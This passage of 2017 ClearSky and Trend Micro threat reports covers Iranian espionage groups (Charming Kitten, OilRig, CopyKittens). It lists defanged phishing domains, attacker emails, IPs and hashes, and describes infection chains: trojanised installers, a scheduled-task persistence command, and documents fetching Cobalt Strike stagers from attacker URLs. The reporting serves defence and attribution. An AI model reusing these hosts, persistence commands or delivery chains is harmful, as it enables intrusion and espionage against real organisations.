+recoverysuperuser[.]bid
+register-multiplay[.]ml
+reset-login[.]accountservice[.]support
+reset-login[.]account-support-user[.]com
+reset-login-yahoo-com[.]account-supportuser[.]com
+reset-mail[.]account-support-user[.]com
+Page 54 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+reset-mail-yahoo-com[.]account-supportuser[.]com
+resets-mails[.]account-support-user[.]com
+result2[.]com-servicescustomer[.]name
+result2[.]www[.]dropbox[.]comservicescustomer[.]name
+sadashboard[.]com
+saudiarabiadigitaldashboards[.]com
+saudi-government[.]com
+saudi-haj[.]com
+screen-royall-in-corporate[.]com
+screen-shotuser-trash-green[.]com
+sdfsd[.]screen-royall-in-corporate[.]com
+sdfsd[.]screen-shotuser-trash-green[.]com
+security-supportteams-mail-change[.]ga
+service-accountrecovery[.]com
+service-broadcast[.]com
+servicecustomer[.]bid
+servicelogin-mail[.]account-servicerecovery[.]com
+service-logins[.]net
+servicemailbroadcast[.]bid
+service-recoveryaccount[.]com
+set-ymail-user-account-permissionchallenge[.]com
+shared-access[.]com
+shared-login[.]com
+shared-permission[.]com
+shop[.]account-dropbox[.]net
+shorturlbot[.]club
+show[.]video-youtube[.]cf
+show-video[.]info
+slmkhubi[.]ddns[.]net
+smstagram[.]com
+smtp[.]com-service[.]net
+smtp[.]group-google[.]com
+smtp[.]youtube-com[.]watch
+sports[.]accountservice[.]support
+sprinqer[.]com
+support[.]account-google[.]co
+support-aasaam[.]bid
+support-aasaam[.]com
+support-accountsrecovery[.]com
+support-google[.]co
+support-recoverycustomers[.]com
+supports-recoverycustomers[.]com
+support-verify-account-user[.]com
+tadawul[.]com[.]co
+tai-tr[.]com
+tcp[.]shorturlbot[.]club
+team-speak[.]cf
+team-speak[.]ga
+team-speak[.]ml
+teamspeak-download[.]ml
+teamspeaks[.]cf
+telagram[.]cf
+test[.]service-recoveryaccount[.]com
+token-ep[.]com
+uk-service[.]org
+update-checker[.]net
+update-driversonline[.]bid
+update-driversonline[.]club
+update-finder[.]com
+update-microsoft[.]bid
+updater-driversonline[.]club
+update-system-driversonline[.]bid
+uploader[.]sytes[.]net
+upload-services[.]com
+uri[.]cab
+us[.]battle[.]net[.]cataclysm[.]accountlogins[.]com
+usersettings[.]cf
+users-facebook[.]com
+users-login[.]com
+users-yahoomail[.]com
+utc[.]officialswebsites[.]info
+utopaisystems[.]net
+verify-account[.]services
+verify-accounts[.]info
+verify-facebook[.]com
+verify-gmail[.]tk
+verify-your-account-information[.]userslogin[.]com
+video[.]yahoo[.]com[.]accountservice[.]support
+video[.]yahoo[.]com-showvideo[.]gq
+video[.]youtube[.]com-showvideo[.]ga
+video-mail[.]account-support-user[.]com
+video-yahoo[.]accountservice[.]support
+video-yahoo[.]account-support-user[.]com
+video-yahoo[.]com[.]accountservice[.]support
+video-youtube[.]cf
+w3sch00ls[.]hopto[.]org
+w3school[.]hopto[.]org
+w3schools[.]hopto[.]org
+w3schools-html[.]com
+watch-youtube[.]org[.]uk
+webmaiil-tau-ac-il[.]ml
+webmail-login[.]accountservice[.]support
+webmail-tidhar-co-il[.]ml
+wildcarddns[.]com-service[.]net
+windows-update[.]systems
+wp[.]com-microsoftonline[.]club
+ww2[.]group-google[.]com
+ww62[.]group-google[.]com
+ww62[.]mx1[.]group-google[.]com
+ww92[.]group-google[.]com
+xn--googe-q2e[.]ml
+Page 55 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+yahoo[.]com[.]accountservice[.]support
+yahoo-proflles[.]com
+yahoo-verification[.]net
+yahoo-verification[.]org
+yahoo-verify[.]net
+youetube[.]ga
+yourl[.]bid
+youttube[.]ga
+youttube[.]gq
+youtubbe[.]cf
+youtubbe[.]ml
+youtube[.]com[.]login-account[.]net
+youtube[.]com-service[.]gq
+youtube-com[.]watch
+youtubee-videos[.]com
+youtubes[.]accounts[.]com-serviceslogin[.]com
+youtuebe[.]co
+youtuobe[.]com[.]co
+youutube[.]cf
+yurl[.]bid
+admin@doc-viewer.com
+admin@dropebox.co
+admin@screen-royall-in-corporate.com
+admin@screen-shotuser-trash-green.com
+anita.jepherson@gmail.com
+aryaieiran@gmail.com
+aryaieiran@gmail.com
+bahra.azadeh88@gmail.com
+cave.detector@yandex.com
+cave.detector@yandex.com
+center2016@yandex.com
+chada.martini@yandex.com
+chada.martini@yandex.com
+cool.hiram@yandex.com
+customers.mailservice@gmail.com
+customers.noreplyservice@gmail.com
+international.research@mail.com
+isabella.careyy@gmail.com
+isabella.careyy@gmail.com
+john.lennon@uymail.com
+jully.martin@yandex.com
+jully.martin@yandex.com
+mails.customerservices@gmail.com
+martin.switch911@gmail.com
+martin.switch911@gmail.com
+message.intercom@gmail.com
+message.intercom@gmail.com
+nami.rosoki@gmail.com
+online.nic@yandex.com
+online.nic@yandex.com
+rich.safe@yandex.com
+rskitman@gmail.com
+sali.rash@yandex.com
+sali.rash@yandex.com
+service.center2016@yandex.com
+service.center2016@yandex.com
+suspended.user.noitification@gmail.com
+yaffa.hyatt9617@gmail.com
+107.150.38.19
+107.150.60.156
+107.150.60.158
+107.6.179.131
+136.243.108.100
+136.243.221.148
+136.243.226.189
+137.74.131.208
+137.74.148.218
+144.76.97.61
+144.76.97.62
+145.239.120.88
+149.56.135.42
+149.56.201.205
+158.255.1.34
+164.132.251.217
+164.132.29.69
+173.208.129.180
+173.244.180.131
+173.244.180.132
+173.244.180.133
+173.244.180.134
+173.45.108.55
+173.90.180.125
+178.33.38.128
+185.117.74.165
+185.141.24.64
+185.141.24.66
+185.82.202.174
+192.99.127.216
+194.88.107.63
+204.12.207.108
+204.12.207.110
+204.12.242.84
+204.12.242.85
+207.244.77.15
+207.244.79.143
+207.244.79.144
+207.244.79.147
+207.244.79.148
+208.110.73.219
+208.110.73.220
+208.110.73.221
+208.110.73.222
+209.190.3.113
+209.190.3.114
+209.190.3.115
+209.190.3.41
+Page 56 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+209.190.3.42
+209.190.3.43
+213.152.173.198
+213.32.11.30
+213.32.49.232
+217.23.3.158
+217.23.5.166
+31.3.236.90
+31.3.236.91
+31.3.236.92
+37.220.8.13
+46.17.97.240
+46.17.97.243
+46.17.97.37
+46.17.97.40
+5.152.202.51
+5.152.202.52
+5.79.105.153
+5.79.105.156
+5.79.105.161
+5.79.105.165
+5.79.69.198
+51.254.254.217
+51.255.28.57
+54.36.217.8
+69.30.221.126
+69.30.224.244
+69.30.224.245
+81.171.25.229
+81.171.25.232
+85.17.172.170
+86.105.1.111
+91.218.245.251
+92.222.206.208
+93.158.200.170
+93.158.215.50
+93.158.215.52
+94.23.90.226
+00b5d45433391146ce98cd70a91bef08
+07fb3f925f8ef2c53451b37bdd070b55
+0a3f454f94ef0f723ac6a4ad3f5bdf01
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+1c00fd5e1ddd0226bd854775180fd361
+1db12ec1f335ee5995b29dea360514a2
+20f2da7b0c482ab6a78e9bd65a1a3a92
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+3261d45051542ab3e54fa541f132f899
+356439bfb9b2f49858897a22dd85df86
+365482f10808ddd1d26f3dc19c41c993
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+6cfa579dd1d33c2fa42d85c2472f744c
+7df3a83dfcce130c01aabede3cfe8140
+7e1cf48d84e503499c9718c50e7a1c52
+9c7ae44baf8df000bb614738370d1171
+9d0e761f3803889dc83c180901dc7b22
+a43b7cc495741248f3647e647f776467
+a9117da1cb51adbc88a52a6e3b16a6c4
+ae797446710e375f0fc9a33432d64256
+af5c01a7a3858bc3712ab69bc673cec4
+bd0a6fe7a852fdd61c1da37cf99103d2
+be207941ce8a5e212be8dde83d05d38d
+bfd21f2847c1d7aa0f409ef52ed52e05
+c7760dc8f7baf67f80ab549af27df9e9
+c96453247ee1ecbd4053da8bbb4cf572
+ccaf21e122ca9d2e2397a9e28eb4cc87
+d6ea39e1d4aaa8c977a835e72d0975e3
+d6fa439f0278babb1edff32d8dc31c59
+da1f6a5f2a5564c2131b4a311c55f487
+e7dd9b8fe7ae14faad304d139f71b629
+e93992f26f224ea53d9bdd9564e8e1c0
+edd4011696ddd349575278aed7031a47
+f5763b8b796b1c5d04febcc65f853967
+f7f9806af42adb80d100e55f35cfa86c
+f9255e0d492eb20df1e78ccc970b121a
+fac158623b0e3ed3bea6e24b1795cb95
+479e1e02d379ad6c3c7f496d705448fa955b50a1
+67bb83bbe82ffa910386216619c5ebf9eecf13e6
+6cacf83033fa97f4ac27eb27e4aa265afa4dc51d
+a2f17906ca39e7f41a8adeea4be5ffb7d1465c4a
+c5ea8680162d3e8bc3d71c060c15bf224c873f7a
+d97b13ed0fe3e41b60b9d45b6e7f68c9b6187b96
+eac4a47f238ee62661f464a807b3e0b5079b835f
+ecf9b7283fda023fa37ad7fdb15be4eadded4e06
+19c0977fdbc221f7d6567fb268a4ef4cd2a759fcbc1
+039a82366978089f080d2
+1a24714fd99030bd63804ab96fc2612f148a5f08d1
+c2845152c3a0e168600db9
+261c5f32abb8801576ce81be2c66bca564a8a28ab
+5ea0954bad6bac7071e299b
+2c92da2721466bfbdaff7fedd9f3e8334b688a88ee
+54d7cab491e1a9df41258f
+2db1e2c49ff0792b54d84538c9a420de7aa619602
+b66add502e2b6ea7c79fd4b
+4fff9cd7f5f4c9048cfaf958a54cc4c4bc14c9fdbfd63
+e2c17f79913f0ea8c21
+6618051ea0c45d667c9d9594d676bc1f4adadd8cb
+30e0138489fee05ce91a9cb
+8aff94ceb2fed8ba864df929fbbec3dd82cbd968c5
+b2f42971fb756d1ba1ecb6
+a86ccf0049be20c105e2c087079f18098c739b86d5
+2acb13f1d41f1ccc9f8e1c
+Page 57 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+acca9f004a596ea33af65725c2319bf845a442ee9fa
+09c511d359df2f632cf4d
+b0b177d06fb987429f01d937aaa1cbb7c93a69cfae
+f146b60f618f8ab26fac38
+d4375a22c0f3fb36ab788c0a9d6e0479bd19f48349
+f6e192b10d83047a74c9d7
+d7e1d13cab1bd8be1f00afbec993176cc116c2b233
+209ea6bd33e6a9b1ec7a7f
+d7f2b4188b7c30c1ef9c075891329dbcf8e9b5ebac
+1ef8759bc3bb2cf68c586f
+d84e808e7d19a86bea3862710cae1c45f7291e984
+c9857d0c86881812674d4bb
+e6cd39cf0af6a0b7d8129bf6400e671d5fd2a3797b
+92e0fe4a8e93f3de46b716
+Page 58 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Appendix B - Previous reports about Charming Kitten
+and Rocket Kitten
+Rocket Kitten:
+rocket kitten: a campaign with 9 lives - Check Point Blog38
+LONDON CALLING Two-Factor Authentication Phishing From Iran39
+Thamar Reservoir 
+ An Iranian cyber-attack campaign against targets in the Middle East40
+Rocket Kitten Showing Its Claws: Operation Woolen-GoldFish and the GHOLE campaign41
+The Kittens Strike Back: Rocket Kitten Continues Attacks on Middle East Targets42
+Increased Use of Android Malware Targeting Journalists43
+Iran and the Soft War for Internet Dominance44
+Charming Kitten:
+iKittens: Iranian Actor Resurfaces with Malware for Mac (MacDownloader)45
+Fictitious Profiles and WebRTC
+s Privacy Leaks Used to Identify Iranian Activists46
+Freezer Paper around Free Meat47
+https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
+https://citizenlab.ca/2015/08/iran_two_factor_phishing/
+http://www.clearskysec.com/thamar-reservoir/
+https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-gophishing
+https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/rocket-kitten-continues-attacks-on-middle-easttargets
+https://iranthreats.github.io/resources/android-malware/
+https://iranthreats.github.io/us-16-Guarnieri-Anderson-Iran-And-The-Soft-War-For-Internet-Dominance-paper.pdf
+https://iranthreats.github.io/resources/macdownloader-macos-malware/
+https://iranthreats.github.io/resources/webrtc-deanonymization/
+https://securelist.com/freezer-paper-around-free-meat/74503/
+Page 59 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Iranian Threat Agent OilRig Delivers Digitally Signed Malware,
+Impersonates University of Oxford
+clearskysec.com/oilrig/
+Iranian threat agent OilRig has been targeting multiple organisations in Israel and other countries in the Middle East
+since the end of 2015. In recent attacks they set up a fake VPN Web Portal and targeted at least five Israeli IT
+vendors, several financial institutes, and the Israeli Post Office.
+Later, the attackers set up two fake websites pretending to be a University of Oxford conference sign-up page and a
+job application website. In these websites they hosted malware that was digitally signed with a valid, likely stolen
+code signing certificate
+Based on VirusTotal uploads, malicious documents content, and known victims 
+ other targeted organisations are
+located in Turkey, Qatar, Kuwait, United Arab Emirates, Saudi Arabia, and Lebanon.
+Fake VPN Web Portal
+In one of the recent cases, the attackers sent the following email to individuals in targeted organisations:
+The email was sent from a compromised account of an IT vendor. Similar emails were sent from other IT vendors in
+the same time period, suggesting the attackers had a foothold within their networks, or at least could get access to
+specific computers or email accounts.
+The link provided in the malicious email led to a fake VPN Web Portal:
+Upon logging in with the credentials provided in the email, the victim is presented with the following page:
+The victim is asked to install the 
+VPN Client
+ (an .exe file), or, if download fails, to download a password protected
+zip (with the same .exe file inside).
+The 
+VPN Client
+ is a legitimate Juniper VPN software bundled with Helminth, a malware in use by the OilRig
+threat agnet:
+JuniperSetupClientInstaller.exe
+6a65d762fb548d2dc56cfde4842a4d3c (VirusTotal link)
+If the victim downloads and installs the file, their computer would get infected, while the legitimate VPN software is
+installed. The legitimate and the malicious installations can be seen in the process tree when the file is run in a
+Cuckoo sandbox. Malicious processes are marked red (click image to enlarge):
+The following malicious files are dropped and run:
+C:\ProgramData\{2ED05C38-D464-4188-BC7F-F6915DE8D764}\OFFLINE\9A189DFE\C7B7C186\main.vbs
+dcac79d7dc4365c6d742a49244e81fd0
+C:\Users\Public\Libraries\RecordedTV\DnE.ps1
+7fe0cb5edc11861bc4313a6b04aeedb2
+C:\Users\Public\Libraries\RecordedTV\DnS.ps1
+3920c11797ed7d489ca2a40201c66dd4
+C:\Windows\System32\schtasks.exe
+ /create /F /sc minute /mo 3 /tn 
+GoogleUpdateTasksMachineUI
+ /tr
+C:\Users\Public\Libraries\RecordedTV\backup.vbs
+7528c387f853d96420cf7e20f2ad1d32
+Command and control server is located in the following domain:
+tecsupport[.]in
+A detailed analysis of the malware is provided in two posts by Palo Alto networks and in a post by FireEye,
+which wrote about previous campaigns by this threat agent.
+(Note that Juniper networks was not compromised nor otherwise involved in the attack, except for the attackers
+using its name and publicly available software).
+Digitally signed malware
+The entire bundle (VPN client and malware) was digitally signed with a valid code signing certificate issued by
+Symantec to AI Squared, a legitimate software company that develops accessibility software:
+Thumbprint: F340C0D841F9D99DBC289151C13391000366631C
+Serial number: 45 E4 7F 56 0B 01 B6 4E 68 39 5E 5D 79 2F 2E 09
+Another Helminth sample, 1c23b3f11f933d98febfd5a92eb5c715, was
+signed with a different AI Squared code signing certificate:
+Thumbprint: 92B8C0872BACDC226B9CE4D783D5CCAD61C6158A
+Serial number:62 E0 44 E7 37 24 61 2D 79 4B 93 AF 97 46 13 48
+This suggest that the attackers had got a hold of an Ai Squared signing
+key, potentially after compromising their network. Alternatively, the
+attackers might have got Symantec to issue them a certificate under Ai
+Squared
+s name.
+[Update 11 February 2017: In a notification in its website, Ai Squared
+says that 
+The digital certificate used to certify newer ZoomText and
+Window-Eyes software products has been compromised. As a result, our certificate will be revoked on or around
+January 26th
+University of Oxford impersonation
+The attackers registered four domains impersonating The University of Oxford.
+oxford-symposia[.]com, is a fake Oxford conference registration website. Visitors are asked to download the
+University Of Oxford Job Symposium Pre-Register Tool
+The downloaded file (which is also signed with an AI Squared certificate), is a fake registration tool built by the
+attackers:
+OxfordSymposiumRegTool.exe
+f77ee804de304f7c3ea6b87824684b33
+If run by the victim, their computer would get infected, while they are shown this registration process:
+Note that after completing the 
+registration process
+, the victim is asked to send the form to an email address
+in oxford-careers[.]com, which also belongs to the attackers.
+Previously the fake website linked to the following documents in a third fake Oxford domain, oxford[.]in:
+http://oxford[.]in/downloads/ls1.doc
+http://oxford[.]in/downloads/ls2.doc
+http://oxford[.]in/downloads/ls3.doc
+http://oxford[.]in/downloads/ls4.do
+The documents were unavailable during our research, and their content is unknown to us.
+The attackers used a forth domain, oxford-employee[.]com, to host an 
+Oxford Job application
+ website:
+Visitors are asked to 
+Download CV Creator
+ in order 
+To Join University of Oxford staff
+. CV Creator is a malicious
+file hosted at http://www.oxford-careers[.]com/Files/OxfordCVCreator.exe :
+OxfordCVCreator.exe
+5713c3c01067c91771ac70e193ef5419
+When run, the victim is again presented with a tool created by the attackers, this time a 
+University Of Oxford Official
+CV Creator
+Both samples mentioned in this section had the following domain used for command and control:
+updater[.]li
+Other incidents
+In an earlier incident, the attackers sent a malicious excel file impersonating Israir, an Israeli Airline (the content of
+the file was copied from the company
+s public website and we have no indication of it being compromised or
+targeted):
+Israel Airline.xls
+197c018922237828683783654d3c632a
+The file had a macro that if enabled by the user would infect its computer.
+In other incidents the attackers used the following files:
+Special Offers.xls / Salary Employee 2016.xls
+f76443385fef159e6b73ad6bf7f086d6
+pic.xls
+3a5fcba80c1fd685c4b5085d9d474118
+People List.xls
+bd7d2efdb2a0f352c4b74f2b82e3c7bc
+cv.xls
+72e046753f0496140b4aa389aee2e300
+users.xls
+262bc259682cb48ce66a80dcc9a5d587
+Employee Engagement Survey.xls
+726175e9aba421aa0f96cfc005664302
+JuniperSetupClientInstaller.exe
+f8ce7e356e09de6a48dca9e51421b6f6
+Project_Domain_No337.chm
+1792cdd0c5397ff5df445d73276d1a50 (undetected as malicious by any antivirus on VirusTotal )
+gcaa_report_series15561.chm
+d50ab63f4034c6f5eb356e3326320e66 (undetected as malicious by any antivirus on VirusTotal )
+Infrastructure overlap with Cadelle and Chafer
+In December 2015, Symantec published a post about 
+two Iran-based attack groups that appear to be connected,
+Cadelle and Chafer
+ that 
+have been using Backdoor.Cadelspy and Backdoor.Remexi to spy on Iranian individuals
+and Middle Eastern organizations
+Backdoor.Remexi, one of the malware in use by Chafer, had the following command and control host:
+87pqxz159.dockerjsbin[.]com
+Interestingly, IP address 83.142.230.138, which serve as a command and control address for an OilRig related
+sample (3a5fcba80c1fd685c4b5085d9d474118), was pointed to by 87pqxz159.dockerjsbin[.]com as well.
+This suggest that the two groups may actually be the same entity, or that they share resources in one why or
+another.
+Indicators of compromise
+Indicators file: oilrig-indicators.csv (also available on PassiveTotal)
+The graph below depicts the OilRig infrastructure (click to enlarge):
+Acknowledgments
+This research was facilitated by PassiveTotal for threat infrastructure analysis, and by MalNet for malware research .
+We would like to thank White-Hat, Tom Lancaster of Palo Alto Networks, Michael Yip of Stroz Friedberg, security
+researcher Marcus, and other security researchers and organizations who shared information and provided
+feedback.
+Operation
+Wilted Tulip
+Exposing a cyber espionage apparatus
+ClearSky Cyber Security
+Trend Micro
+July 2017
+Contents
+Introduction ..........................................................................................................................................................3
+Targetting.....................................................................................................................................................3
+Malware .......................................................................................................................................................3
+Targeting ...............................................................................................................................................................4
+Delivery and Infection ..........................................................................................................................................5
+Watering Hole Attacks .....................................................................................................................................5
+Web-Based Exploitation ...................................................................................................................................6
+Malicious Documents .......................................................................................................................................7
+Exploiting CVE-2017-0199............................................................................................................................7
+Embedded OLE Objects..............................................................................................................................11
+Malicious Macros .......................................................................................................................................15
+Fake Social Media Entities..............................................................................................................................16
+Web Hacking ..................................................................................................................................................19
+Infrastructure Analysis........................................................................................................................................20
+Domains .........................................................................................................................................................20
+IPs ...................................................................................................................................................................24
+Malware..............................................................................................................................................................27
+TDTESS Backdoor............................................................................................................................................27
+Installation and removal ............................................................................................................................27
+Functionality ..............................................................................................................................................29
+Indicators of Compromise .........................................................................................................................30
+Vminst for Lateral Movement ........................................................................................................................31
+NetSrv 
+ Cobalt Strike Loader ........................................................................................................................32
+Matryoshka v1 
+ RAT .....................................................................................................................................33
+Matreyoshka v2 
+ RAT ...................................................................................................................................33
+ZPP 
+ File Compressor ....................................................................................................................................35
+Cobalt Strike ...................................................................................................................................................36
+Metasploit ......................................................................................................................................................37
+Empire Post-exploitation Framework ............................................................................................................38
+Indicators of Compromise ..................................................................................................................................39
+Page 2 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Introduction
+CopyKittens is a cyberespionage group that has been operating since at least 2013. In November 2015,
+ClearSky and Minerva Labs published1 the first public report exposing its activity. In March 2017, ClearSky
+published a second report2 exposing further incidents, some of which impacted the German Bundestag. In this
+report, Trend Micro and ClearSky expose a vast espionage apparatus spanning the entire time the group has
+been active. It includes recent incidents as well as older ones that have not been publicly reported; new
+malware; exploitation, delivery and command and control infrastructure; and the group's modus operandi.
+We dubbed this activity Operation Wilted Tulip
+Targetting
+CopyKittens is an active cyber espionage actor whose primary focus appears to be foreign espionage on
+strategic targets. Its main targets are in countries such as Israel, Saudi Arabia, Turkey, The United States,
+Jordan, and Germany. Occasionally individuals in other countries are targeted as well as UN employees.
+Targeted organizations include government institutions (such as Ministry of Foreign Affairs), academic
+institutions, defense companies, municipal authorities, sub-contractors of the Ministry of Defense, and large
+IT companies. Online news outlets and general websites were breached and weaponized as a vehicle for
+watering hole attacks.
+For example, a malicious email was sent from a breached account of an employee in the Ministry of Foreign
+Affairs in the Turkish Republic of Northern Cyprus, trying to infect multiple targets in other government
+organizations worldwide. In a different case, a document likely stolen from the Turkish Ministry of Foreign
+affairs was used as decoy. In other cases, Israeli embassies were targeted, as well as foreign embassies in
+Israel.
+Victims are targeted by watering hole attacks, and emails with links to malicious websites or with malicious
+attachments. Fake Facebook profiles have been used for spreading malicious links and building trust with
+targets. Some of the profiles have been active for years.
+Malware
+CopyKittens use several self-developed malware and hacking tools that have not been publicly reported to
+date, and are analyzed in this report: TDTESS backdoor; Vminst, a lateral movement tool; NetSrv, a Cobalt
+Strike loader; and ZPP, a files compression console program. The group also uses Matryoshka v1, a selfdeveloped RAT analyzed by ClearSky in the 2015 report, and Matryoshka v2 which is a new version, albeit with
+similar functionality.
+The group often uses the trial version of Cobalt Strike3, a publicly available commercial software for "Adversary
+Simulations and Red Team Operations." Other public tools used by the group are Metasploit, a well-known
+free and open source framework for developing and executing exploit code against a remote target machine;
+Mimikatz, a post-exploitation tool that performs credential dumping; and Empire, "a PowerShell and Python
+post-exploitation agent." For detection and exploitation of internet-facing web servers, CopyKittens use Havij,
+Acunetix and sqlmap.
+A notable characteristic of CopyKittens is the use of DNS for command and control communication (C&C) and
+for data exfiltration. This feature is available both in Cobalt Strike and in Matryoshka.
+Most of the infrastructure used by the group is in the U.S., Russia, and The Netherlands. Some of it has been
+in use for more than two years.
+www.clearskysec.com/report-the-copykittens-are-targeting-israelis/
+www.clearskysec.com/copykitten-jpost/
+https://www.cobaltstrike.com
+Page 3 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Targeting
+Based on Trend Micro Telemetry, incident response engagements, and open source threat intelligence
+investigations, we have learned of CopyKittens target organizations and countries. Its main targets are in
+countries such as Israel, Saudi Arabia, Turkey, The United States, Jordan, and Germany. Occasionally
+individuals in other countries are targeted as well as UN employees.
+Targeted organizations include government institutions (such as Ministry of Foreign Affairs), academic
+institutions, defense companies, municipal authorities, sub-contractors of the Ministry of Defense, and large
+IT companies. Online news outlets and general websites were breached and weaponized as a vehicle for
+watering hole attacks.
+For example, a malicious email was sent from a breached account of an employee in the Ministry of Foreign
+Affairs in the Turkish Republic of Northern Cyprus, trying to infect multiple targets in other government
+organizations worldwide. In a different case, a document likely stolen from the Turkish Ministry of Foreign
+affairs was used as decoy. In other cases, Israeli embassies were targeted, as well as foreign embassies in
+Israel.
+Based on the size of the attack infrastructure and length of the campaign, we estimate that there have been
+at least a few hundred people infected in multiple organizations in the targeted countries.
+After infecting a computer within a target organization, the attacker would move latterly using one of the
+malware descried in chapter "Malware." It seems that their objective is to gather as much information and
+data from target organizations as possible. They would indiscriminately exfiltrate large amounts of documents,
+spreadsheets, file containing personal data, configuration files and databases.
+In at least one case, the attackers breached an IT company, and used VPN access it had to client organizations
+to breach their networks.
+Often, victim organizations would learn of the breach due to the non-stealthy behavior of the attackers. The
+attackers would "get greedy," infecting multiple computers within the network of breached organizations. This
+would raise an alarm in various defense systems, making the victims initiate incident response operations.
+Page 4 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Delivery and Infection
+CopyKittens attack their targets using the following methods:
+Watering hole attacks 
+ inserting malicious JavaScript code into breached strategic websites.
+Web based exploitation 
+ emailing links to websites built by the attackers and containing known
+exploits.
+Malicious documents 
+ email attachments containing weaponized Microsoft Office documents.
+Fake social media entities 
+ fake personal and organizational Facebook pages are used for interaction
+with targets and for information gathering.
+Web hacking 
+ Havij, Acuntix and sqlmap are used to detect and exploit internet-facing web servers.
+These methods are elaborated below.
+Watering Hole Attacks
+On 30 March 2017, ClearSky reported a breach of multiple websites, such as Jerusalem Post, Maariv news and
+the IDF Disabled Veterans Organization website.4 JavaScript code was inserted into the breached websites,
+loading BeEF (Browser Exploitation Framework) from domains owned by the attackers .5 For example:
+Malicious code added to Maariv website
+The malicious code was loaded from one of the following addresses:
+https://js.jguery[.]net/jquery.min.js
+https://js.jguery[.]online/jgueryui.min.js
+This would enable the attackers to perform actions such as browser fingerprinting and information gathering,
+social engineering attacks (like asking for credentials, redirect to another page, asking the user to install a
+malicious extension or malware), network reconnaissance, infecting the computer using Metasploit exploits,
+and more.6 The malicious code was served only when specific targets visited the website, likely based on IP
+whitelisting.
+Notably, prior to that publication, the German Federal Office for Information Security (BSI) said in a statement
+that it had investigated "problems in network traffic" of the German Bundestag.7 The statement concluded
+that the website of Israeli newspaper Jerusalem Post was manipulated and linked to a harmful third party in
+January 2017.
+www.clearskysec.com/copykitten-jpost
+http://beefproject.com
+https://github.com/beefproject/beef/wiki
+https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2017/CyberAngriff_auf_den_Bundestag_Stellungnahme_29032017.html
+Page 5 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Web-Based Exploitation
+In two incidents, the attackers breached the mailbox of a person related to a target organization. From this
+(real) account, they replied to previous correspondences with these organizations, adding a malicious link to
+a website registered and built by attackers: primeminister-goverment-techcenter].[tech. 8
+JavaScript code, at least parts of which were copied from public sources, fingerprinted the visitor's web
+browser.9 This was likely used for later browser exploitation with known vulnerabilities.
+In some pages the code enumerates and collects a list of installed browser plugins, in others it tries to detect
+the real IP of the computer:
+Browser Plugins enumeration via JavaScipt code
+Internal IP detection with Java
+The data is sent to the attackers, and the victim is redirected to https://akamitechnology[.]com/.
+Collected data sent to server, then redirecting to new domain
+https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attackinfrastructure
+https://gist.github.com/kou1okada/2356972
+Page 6 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+JavaScript and Java code loaded into webpage, victim is redirected after 20 seconds
+Malicious Documents
+The attackers use three document based exploitation types: exploiting CVE-2017-0199, embedding OLE
+objects, and macros. If the victim opens a document and the exploitation is successful (in the latter two, user
+interaction might be required), the attackers would receive access to the computer via self-developed or
+publicly available malware (see "Malware" chapter for more details).
+Exploiting CVE-2017-0199
+On 26 April 2017, a malicious email was sent from an employee account that was likely breached within the
+Ministry of Northern Cyprus. It was sent to a disclosed recipients list in government institutions in several
+countries and other organizations, mostly in or related to ministries of foreign affairs. We should note,
+however, that it is possible that the attackers were interested only in a few of the recipient organizations, but
+sent it to a wider list because they showed up in previous correspondences in the breached account.
+Recipients were in the following domains:
+mofa.gov.vn
+mfa.gov.sg
+mfa.gov.tr
+post.mfa.uz
+mfa.am
+mfa.gov.by
+beijing.mfa.gov.il
+mofat.go.kr
+mfa.no
+athens.mfa.gov.il
+riga.mfa.sk
+amfam.com
+emfa.pt
+mfa.gov.il
+mfa.gov.mk
+bu.edu
+us.mufg.jp
+cyburguide.com
+newdelhi.mfa.gov.il
+hemofarm.co.yu
+mfat.govt.nz
+mfa.gr
+mfa.gov.lv
+mfa.gov.ua
+mfa.go.th
+mfa.gov.bn
+mfa.ee
+sbcglobal.net
+mfa.is
+Page 7 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+The email is presented below:10
+Redacted version of the malicious email sent form the Ministry of Foreign Affairs in the Turkish Republic of Northern
+Cyprus
+Attached to it was a document named "IRAN_NORTH-KOREA_Russia 20170420.docx".11
+Content of the malicious document
+The document exploited CVE-2017-0199, downloading an rtf file from:
+update.microsoft-office[.]solutions/license.doc
+The rtf file loads a VBA script from:
+http://38.130.75[.]20/check.html
+https://www.virustotal.com/en/file/521687de405b2616b1bb690519e993a9fb714cecd488c168a146ff4bbf719f87/analysis/
+https://www.virustotal.com/en/file/026e9e1cb1a9c2bc0631726cacdb208e704235666042543e766fbd4555bd6950/analysis
+Page 8 of 48
+All rights reserved to ClearSky cyber security and Trend Micro, 2017
+Which runs a Cobalt Strike stager that communicates with:
+aaa.stage.14043411.email.sharepoint-microsoft[.]co
+In another case, the following document was uploaded to VirusTotal from Israel:12
+"The North Korean weapons program now testing USA range.docx"
+Content of the malicious document and a prompt that opens when external links are updated
+It downloads an rtf document from:
+http://update.microsoft-office[.]solutions/license.doc
+This downloads VBA code that runs a Cobalt Strike stager from the following addresses:
+http://38.130.75[.]20/error.html
+Pivoting from update.microsoft-office[.]solutions, we found diagnose.microsoft-office[.]solutions, which
+pointed to 5.34.181.13. Using PassiveTotal we found 40.dc.c0ad.ip4.dyn.gsvr-static[.]co. Googling for gsvrstatic[.]co, we found another sample, gpupdate.bat," which runs PowerShell code that extracts a Cobalt Strike
+stager.13:
+Base64 encoded PowerShell code that loads Cobalt Strike stager
+https://www.virustotal.com/en/file/43fbf0cc6ac9f238ecdd2d186de397bc689ff7fcc8c219a7e3f46a15755618dc/analysis
+https://www.hybrid-analysis.com/sample/1f6e267a9815ef88476fb8bedcffe614bc342b89b4c80eae90e9aca78ff1eab8
